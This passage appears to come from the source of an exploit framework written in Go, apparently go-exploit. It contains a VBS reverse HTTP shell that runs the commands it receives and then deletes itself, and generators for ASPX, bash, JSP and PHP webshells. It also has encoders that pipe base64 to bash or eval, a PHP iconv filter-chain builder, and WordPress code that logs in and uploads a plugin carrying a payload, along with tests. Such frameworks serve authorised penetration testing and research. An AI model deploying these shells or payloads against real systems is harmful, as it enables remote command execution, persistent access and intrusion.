xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP") xmlHttpReq.Open "GET", lkasjfo, false xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2) xmlHttpReq.setRequestHeader "VC-Auth", fowihe xmlHttpReq.Send If (xmlHttpReq.status <> 200) Then fa = fa + 1 If fa > 5 Then break = True End If Else fa = 0 End If If Trim(xmlHttpReq.responseText) <> "" Then alfkj = "cmd /c " & Trim(xmlHttpReq.responseText) If InStr(alfkj, "exit") Then break = True Else Set execObj = shell.Exec(alfkj) result = "" Do Until execObj.StdOut.AtEndOfStream result = result & execObj.StdOut.ReadAll() Loop Do Until execObj.StdErr.AtEndOfStream result = result & execObj.StdErr.ReadAll() Loop Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP") xmlHttpReq.Open "POST", lkasjfo & "rx", false xmlHttpReq.SetOption 2, xmlHttpReq.GetOption(2) xmlHttpReq.setRequestHeader "VC-Auth", fowihe xmlHttpReq.Send(result) End If End If WScript.Sleep 500 Wend Set objFSO = CreateObject("Scripting.FileSystemObject") strScript = Wscript.ScriptFullName objFSO.DeleteFile(strScript) ================================================ FILE: payload/reverse/vbs.go ================================================ package reverse import ( _ "embed" "fmt" ) //go:embed vbs/reverse_http.vbs var VBSShell string // Generates a script that can be used to create a reverse shell via vbs (can be run with cscript) // original source: https://raw.githubusercontent.com/cym13/vbs-reverse-shell/refs/heads/master/reverse_shell.vbs func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool, authHeader string) string { if ssl { return fmt.Sprintf(VBSShell, "https", lhost, lport, authHeader) } return fmt.Sprintf(VBSShell, "http", lhost, lport, authHeader) } ================================================ FILE: payload/webshell/aspx.go ================================================ package webshell import ( "strings" "github.com/vulncheck-oss/go-exploit/random" ) const aspxTemplate = `<%@ Page Language="C#" %><%` + ` System.Diagnostics.Process p = new System.Diagnostics.Process();` + ` p.StartInfo.FileName = "cmd.exe";` + ` p.StartInfo.Arguments = "/c " + Request["PARAM"];` + ` p.StartInfo.RedirectStandardOutput = true;` + ` p.StartInfo.UseShellExecute = false;` + ` p.Start();` + ` Response.Write(p.StandardOutput.ReadToEnd()); %>` // A minimal ASPX webshell that executes commands from a GET parameter via cmd.exe. func (aspx *ASPXWebshell) MinimalGet() (string, string) { param := random.RandLetters(8) return strings.Replace(aspxTemplate, "PARAM", param, 1), param } ================================================ FILE: payload/webshell/bash.go ================================================ package webshell // A very basic bash webshell that evaluates commands from the QUERY_STRING. // Works with POST or GET. func (bash *BashWebshell) MinimalGet() string { return `#!/bin/bash echo "Content-Type: text/plain" echo cmd="${QUERY_STRING#*cmd=}" cmd="${cmd%%&*}" eval "$cmd"` } ================================================ FILE: payload/webshell/jsp/webshell.jsp ================================================ <%%@ page import="java.io.*"%%> <%% if (request.getParameter("%s") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("%s")); DataInputStream dis = new DataInputStream(p.getInputStream()); for (String line = dis.readLine(); line != null; line = dis.readLine()) { out.println(line); } } %%> ================================================ FILE: payload/webshell/jsp/webshell_min.jsp ================================================ <%%Runtime.getRuntime().exec(request.getParameter("%s"));%%> ================================================ FILE: payload/webshell/jsp.go ================================================ package webshell import ( _ "embed" "fmt" ) var ( //go:embed jsp/webshell.jsp GetKeyed string //go:embed jsp/webshell_min.jsp GetKeyedMinimal string ) // GetKeyed generates a JSP webshell that uses key as the basic authorization for a webshell. This // webshell will return all output information. func (jsp *JSPWebshell) GetKeyed(key string) string { return fmt.Sprintf(GetKeyed, key, key) } // GetKeyedMinimal generates a JSP webshell that uses key for basic GET authentication. Unlike // GetKeyed, this payload does not return any information directly and is more useful for staging // other implants or reverse shell payloads. func (jsp *JSPWebshell) GetKeyedMinimal(key string) string { return fmt.Sprintf(GetKeyedMinimal, key) } ================================================ FILE: payload/webshell/php.go ================================================ package webshell import ( "fmt" "github.com/vulncheck-oss/go-exploit/random" ) // A very basic PHP webshell using short tags and no error checking. The webshell // will generate a random variable to fetch the command from. Usage example: // // shell, param := webshell.PHP.MinimalGet() func (php *PHPWebshell) MinimalGet() (string, string) { index := random.RandLetters(8) return fmt.Sprintf("", index), index } ================================================ FILE: payload/webshell/webshell.go ================================================ // Webshell payloads // // The webshell package contains webshell payloads that can be dropped onto remote targets package webshell type Dropper interface{} type ( ASPXWebshell struct{} JSPWebshell struct{} PHPWebshell struct{} BashWebshell struct{} ) var ( ASPX = &ASPXWebshell{} PHP = &PHPWebshell{} JSP = &JSPWebshell{} Bash = &BashWebshell{} ) ================================================ FILE: payload/webshell/webshell_test.go ================================================ package webshell_test import ( "strings" "testing" "github.com/vulncheck-oss/go-exploit/payload/webshell" ) func TestVerySmallHTTPGET(t *testing.T) { shell, param := webshell.PHP.MinimalGet() if !strings.HasPrefix(shell, "") { t.Fatal("PHP Minimal GET payload is in an unexpected format.") } if len(param) != 8 { t.Fatal("PHP Minimal GET payload is in an unexpected format.") } } func TestJSPWebshell(t *testing.T) { key := "VULNCHECKWUZHERE" jsp := webshell.JSP.GetKeyed(key) // Look for superfluous %s if strings.Contains(jsp, `%%`) { t.Fatal("JSP payload is in an unexpected format") } if !strings.Contains(jsp, `<%@ page import="java.io.*"%>`) { t.Fatal("JSP payload is in an unexpected format") } if !strings.Contains(jsp, `(request.getParameter("VULNCHECKWUZHERE") != null)`) { t.Fatal("JSP payload is in an unexpected format") } if !strings.Contains(jsp, `Process p = Runtime.getRuntime().exec(request.getParameter("VULNCHECKWUZHERE"));`) { t.Fatal("JSP payload is in an unexpected format") } } func TestJSPWebshellMinimal(t *testing.T) { key := "hacktheplanet" jsp := webshell.JSP.GetKeyedMinimal(key) // Look for superfluous %s if strings.Contains(jsp, `%%`) { t.Fatal("JSP payload is in an unexpected format") } if strings.Compare(jsp, `<%Runtime.getRuntime().exec(request.getParameter("hacktheplanet"));%>`) != 0 { t.Fatal("JSP payload is in an unexpected format") } } func TestBashWebshellMinimal(t *testing.T) { shell := webshell.Bash.MinimalGet() if !strings.HasPrefix(shell, "#!/bin/bash") { t.Fatal("Bash Minimal GET payload is in an unexpected format.") } if !strings.Contains(shell, `cmd="${QUERY_STRING#*cmd=}"`) { t.Fatal("Bash Minimal GET payload is in an unexpected format.") } if !strings.Contains(shell, `eval "$cmd"`) { t.Fatal("Bash Minimal GET payload is in an unexpected format.") } } func TestASPXWebshellMinimalGet(t *testing.T) { shell, param := webshell.ASPX.MinimalGet() if !strings.HasPrefix(shell, `<%@ Page Language="C#" %>`) { t.Fatal("ASPX Minimal GET payload is in an unexpected format.") } if !strings.Contains(shell, `cmd.exe`) { t.Fatal("ASPX Minimal GET payload should use cmd.exe.") } if !strings.Contains(shell, `Request["`+param+`"]`) { t.Fatal("ASPX Minimal GET payload should reference the parameter.") } if len(param) != 8 { t.Fatal("ASPX parameter should be 8 characters.") } } ================================================ FILE: payload/wrapper.go ================================================ package payload import ( b64 "encoding/base64" "fmt" "strings" ) var phpFilterMap = map[string]string{ "0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2", "1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4", "2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921", "3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE", "4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE", "5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2", "6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2", "7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4", "8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2", "9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB", "A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", "a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", "B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", "b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", "C": "convert.iconv.UTF8.CSISO2022KR", "c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2", "D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213", "d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5", "E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT", "e": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937", "F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB", "f": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213", "g": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8", "G": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90", "H": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213", "h": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE", "I": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213", "i": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000", "J": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4", "j": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16", "K": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE", "k": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2", "L": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC", "l": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE", "M": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T", "m": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949", "N": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4", "n": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61", "O": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775", "o": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE", "P": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB", "p": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4", "q": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2", "Q": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2", "R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4", "r": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101", "S": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS", "s": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90", "T": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103", "t": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS", "U": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943", "u": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61", "V": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB", "v": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2", "W": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936", "w": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE", "X": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932", "x": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS", "Y": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361", "y": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT", "Z": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16", "z": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937", "/": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", // RFC 3501 variant '/' ",": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", // URL safe variant '/' "_": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", "+": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157", // URL safe variant '+' "-": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157", "=": "", } // Base64 encodes the command. Wraps it in logic to base64 decode and pipe to bash. func Base64EncodeForBash(cmd string) string { cmd64 := b64.StdEncoding.EncodeToString([]byte(cmd)) return fmt.Sprintf("echo %s|base64 -d|bash", cmd64) } // Base64 encodes the command. Wraps it in logic to base64 decode and evaluate it in Groovy. func Base64EncodeForGroovyEval(cmd string) string { cmd64 := b64.StdEncoding.EncodeToString([]byte(cmd)) return fmt.Sprintf("Eval.me(new String('%s'.decodeBase64()))", cmd64) } // Base64 encodes the command. Wraps it in logic to base64 decode and evaluate it in PHP. func Base64EncodeForPHPEval(cmd string) string { cmd64 := b64.StdEncoding.EncodeToString([]byte(cmd)) return fmt.Sprintf(``, cmd64) } // Creates a valid PHP filter string from an input. Normally these are PHP payloads, but there are // exceptions. This is based on the techniques identified in: https://gynvael.coldwind.pl/?id=671 func PHPIconvFilter(chain string) string { chain = b64.StdEncoding.EncodeToString([]byte(chain)) chain = strings.ReplaceAll(chain, "=", "") revChain := "" for _, v := range chain { revChain = string(v) + revChain } filter := "convert.iconv.UTF8.CSISO2022KR|" + "convert.base64-encode|" + "convert.iconv.UTF8.UTF7|" for _, character := range revChain { // Normally this would be bad to convert a rune to a string, but in this specific // case we know we are using a base64 encoded string so it should be safe. filter += phpFilterMap[string(character)] + "|" filter += "convert.base64-decode|" + "convert.base64-encode|" + "convert.iconv.UTF8.UTF7|" } filter += "convert.base64-decode" return `php://filter/` + filter + `/resource=php://temp` } ================================================ FILE: payload/wrapper_test.go ================================================ package payload_test import ( "testing" "github.com/vulncheck-oss/go-exploit/payload" ) func TestBase64EncodeForBash(t *testing.T) { encoded := payload.Base64EncodeForBash("whoami; id;") if encoded != "echo d2hvYW1pOyBpZDs=|base64 -d|bash" { t.Fatal(encoded) } t.Log(encoded) } func TestBase64EncodeForGroovyEval(t *testing.T) { encoded := payload.Base64EncodeForGroovyEval("def f = new File('/tmp/vvNddILf');") if encoded != "Eval.me(new String('ZGVmIGYgPSBuZXcgRmlsZSgnL3RtcC92dk5kZElMZicpOw=='.decodeBase64()))" { t.Fatal(encoded) } t.Log(encoded) } func TestBase64EncodeFoPHPEval(t *testing.T) { encoded := payload.Base64EncodeForPHPEval(`print("hi");`) if encoded != `` { t.Fatal(encoded) } t.Log(encoded) } func TestPHPIconvFilter(t *testing.T) { filter := payload.PHPIconvFilter(`tuned to a dead channel`) // Sorry for the long string :| if filter != `php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp` { t.Fatal(filter) } t.Log(filter) } ================================================ FILE: product/asus/asus.go ================================================ // Package asus // Contains HTTP utilities for communicating with Asus products package asus import ( "encoding/base64" "net/http" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) // ASUS HTTP router CGI authentication. func RouterAuthenticate(conf *config.Config, origin string, username string, pass string) (string, bool) { headers := map[string]string{ "Referer": origin + "/Main_Login.asp", "Origin": origin, } params := map[string]string{ "group_id": "", "action_mode": "", "action_script": "", "action_wait": "5", "current_page": "Main_Login.asp", "next_page": "index.asp", "login_authorization": base64.StdEncoding.EncodeToString([]byte(username + ":" + pass)), "login_captcha": "", } url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/login.cgi") resp, _, ok := protocol.HTTPSendAndRecvURLEncodedParamsAndHeaders("POST", url, params, headers) if !ok { return "", false } if resp.StatusCode != http.StatusOK { output.PrintfFrameworkError("Received an unexpected HTTP status code: %d", resp.StatusCode) return "", false } cookie := protocol.ParseCookies(resp) if cookie == "" { output.PrintFrameworkError("Login failed: no cookie was returned") return "", false } output.PrintFrameworkSuccess("Login successful") return cookie, true } ================================================ FILE: product/product.go ================================================ // Per-product code to reduce copy-and-pasting for common targets. package product ================================================ FILE: product/wordpress/plugins.go ================================================ package wordpress import ( "archive/zip" "bytes" "fmt" "net/http" "regexp" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" "github.com/vulncheck-oss/go-exploit/random" ) // Plugin stub is required for WordPress to successfully validate that the // uploaded ZIP is a WordPress Plugin. var pluginStub = `` var ( PluginInstallPath = `wp-admin/plugin-install.php` PluginUpdatePath = `wp-admin/update.php` PluginEditPath = `wp-admin/plugin-editor.php` ) // Get the nonce required for administrative plugin actions. func getPluginNonce(conf *config.Config, cookies []*http.Cookie, path string) (string, bool) { url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/"+path) cookieString := protocol.CookieString(cookies) headers := map[string]string{ "Cookie": cookieString, } resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers) if !ok { output.PrintFrameworkError("WordPress plugin install nonce retrieval failed") output.PrintfFrameworkDebug("resp=%#v body=%q", resp, body) return "", false } re := regexp.MustCompile(`id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"`) matches := re.FindStringSubmatch(body) if len(matches) < 2 { output.PrintFrameworkError("Could not find WordPress nonce for plugin upload") return "", false } return matches[1], true } // Generates a ZIP containing the minimum requirement for a WordPress plugin and the provided // payload. This function returns the name of the internal payload and generally will be resolved to // `/wp-content/plugins//`. func GeneratePlugin(payload, name string) (string, []byte, bool) { buf := new(bytes.Buffer) w := zip.NewWriter(buf) payloadName := random.RandLetters(10) + ".php" files := []struct { Name, Body string }{ { name + ".php", fmt.Sprintf(pluginStub, name, // Plugin name random.RandDigits(2)+"."+random.RandDigits(2)+"."+random.RandDigits(2), // Version random.RandLetters(10), // Author "https://"+random.RandHex(10)+".org", // URI ), }, {payloadName, payload}, } for _, file := range files { f, err := w.Create(file.Name) if err != nil { output.PrintfFrameworkError("WordPress Plugin failed to generate: %e", err) return "", []byte{}, false } _, err = f.Write([]byte(file.Body)) if err != nil { output.PrintfFrameworkError("WordPress Plugin failed to generate: %e", err) return "", []byte{}, false } } err := w.Close() if err != nil { output.PrintfFrameworkError("WordPress Plugin failed to generate: %e", err) return "", []byte{}, false } return payloadName, buf.Bytes(), true } // Uploads a ZIP based plugin for WordPress. func UploadPlugin(conf *config.Config, cookies []*http.Cookie, zip []byte, name string) (string, bool) { nonce, ok := getPluginNonce(conf, cookies, PluginInstallPath) if !ok { return "", false } builder, w := protocol.MultipartCreateForm() protocol.MultipartAddField(w, "_wpnonce", nonce) protocol.MultipartAddField(w, "_wp_http_referer", PluginInstallPath+"?tab=upload") protocol.MultipartAddFile(w, "pluginzip", name+".zip", "application/octet-stream", string(zip)) protocol.MultipartAddField(w, "Install Now", "install-plugin-submit") cookieString := protocol.CookieString(cookies) headers := map[string]string{ "Content-Type": w.FormDataContentType(), "Cookie": cookieString, } url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/"+PluginUpdatePath+"?action=upload-plugin") resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, builder.String(), headers) if !ok || resp.StatusCode != http.StatusOK { output.PrintFrameworkError("WordPress plugin upload failed") output.PrintfFrameworkDebug("resp=%#v body=%q", resp, body) return "", false } url = protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/wp-content/plugins/"+name) return url, true } ================================================ FILE: product/wordpress/wordpress.go ================================================ // WordPress automation wrappers package wordpress import ( "net/http" "net/url" "strings" "github.com/vulncheck-oss/go-exploit/config" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" "github.com/vulncheck-oss/go-exploit/random" ) var LoginPath = `wp-login.php` // Attempts to log into the WordPress instance and if successful return the cookies set by // WordPress. func Login(conf *config.Config, username, password string) ([]*http.Cookie, bool) { form := url.Values{} form.Add("log", username) form.Add("pwd", password) form.Add("wp-submit", "Login") url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/"+LoginPath) form.Add("redirect_to", url+"#"+random.RandLettersRange(10, 20)) headers := map[string]string{ "Content-Type": "application/x-www-form-urlencoded", } resp, body, ok := protocol.HTTPSendAndRecvWithHeadersNoRedirect("POST", url, form.Encode(), headers) if !ok { output.PrintFrameworkError("WordPress login failed") output.PrintfFrameworkDebug("resp=%#v body=%q", resp, body) return []*http.Cookie{}, false } location, err := resp.Location() if err != nil { output.PrintFrameworkError("WordPress did not return a redirect") return []*http.Cookie{}, false } if location.String() != form["redirect_to"][0] { output.PrintFrameworkError("WordPress did not redirect to the expected location") return []*http.Cookie{}, false } if len(resp.Cookies()) < 1 { output.PrintFrameworkError("WordPress did respond with cookies") return []*http.Cookie{}, false } for _, cookie := range resp.Cookies() { if strings.Contains(strings.ToLower(cookie.Name), "wordpress") { return resp.Cookies(), true } } output.PrintFrameworkError("WordPress cookie not found") return []*http.Cookie{}, false } ================================================ FILE: protocol/afp/afp.go ================================================ // AFP network protocol package afp import ( "encoding/binary" "net" "strings" "time" "github.com/vulncheck-oss/go-exploit/output" "github.com/vulncheck-oss/go-exploit/protocol" ) const ( DSICloseSession = byte(0x1) DSICommand = byte(0x2) DSIGetStatus = byte(0x3) DSIOpenSession = byte(0x4) DSITickle = byte(0x5) DSIWrite = byte(0x6) DSIAttention = byte(0x8) AFPByteLock = 0x01 AFPCloseVol = 0x02 AFPCloseDir = 0x03 